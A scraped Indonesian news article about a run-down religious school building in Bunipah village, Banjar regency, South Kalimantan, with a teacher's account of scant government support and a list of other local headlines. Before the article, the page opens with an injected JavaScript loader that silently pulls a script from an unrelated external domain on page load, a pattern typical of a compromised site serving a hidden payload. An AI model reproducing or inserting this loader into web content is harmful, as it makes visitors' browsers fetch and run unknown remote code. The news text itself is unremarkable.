(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Begini Nasib Tempat Belajar Agama di Kabupaten Banjar


ALUH-ALUH, Reot dan nyaris roboh, ditambah sebagian lantai ruang kelas tak lagi nampak, begitulah gambaran bangunan tempat menuntut ilmu di Desa Bunipah Kecamatan Aluh-Aluh, Kabupaten Banjar.

Ya, Madrasah Diniyah dan TK Al Qur’an di bawah Yayasan Ma’arif NU Al Amin dalam kondisi sangat memprihatinkan. Madrasah yang sudah ada sejak tahun 1990-an itu, berjarak kurang lebih 1,5 Km dari perbatasan dengan Kecamatan Gambut Meski terletak di pinggir jalan, kondisi bangunan sangat tidak layak dipergunakan untuk proses belajar mengajar.

Pantuan Kanal Kalimantan, dari depan tampak atap plafon berwarna coklat nyaris runtuh. Kemudian lantai teras bagian depan ketika diinjak bergoyang-goyang. Madrasah Diniyah ini punya 3 ruang belajar, salah satunya sudah tidak dapat digunakan, karena lantainya hancur dan berlubang seluas 1,5 x 3 m. Tanaman liar pun ikut serta menjalar pada ruang yang tidak terpakai itu.

Pun, ruang yang dipergunakan sehari-hari untuk proses belajar mengajar hanya tersedia 3 meja, itupun sudah hampir patah dan bergoyang, karena kayu jenis itu merupakan makanan empuk bagi rayap. Lemari buku pun sangat berdebu dan kusam, ditambah lantai ruang itu berbunyi seperti ingin runtuh. Di ruang satunya yang juga kadang dijadikan sebagai ruang kelas belajar, hanya dihuni oleh 4 bangku panjang berukuran 3 meter saja.

Satu dari tiga ruang lokal tersebut, papan tulis yang digunakan memang sudah agak modern yakni whiteboard, sisanya masih terpasang papan tulis kapur berwarna hitam yang dipakai anak-anak sekolah pada zaman 90-an. Keprihatinan ini di rasa oleh masyarakat setempat hampir 10 tahun lamanya.

Salah seorang guru, Juhdi menceritakan, bantuan dari pemerintah terkait dengan sarana dan prasarana yang terbilang kurang itu, baru dirasa sejak satu bulan yang lalu, itupun cuma insentif kepada sebanyak Rp 600 per enam bulan.

“Selama ini cuma sukarela dari masyarakat saja menggunakan penjualan hasil panen,” kata guru ini.


Page: 1 2

Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

12 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

14 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

14 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

19 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

20 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.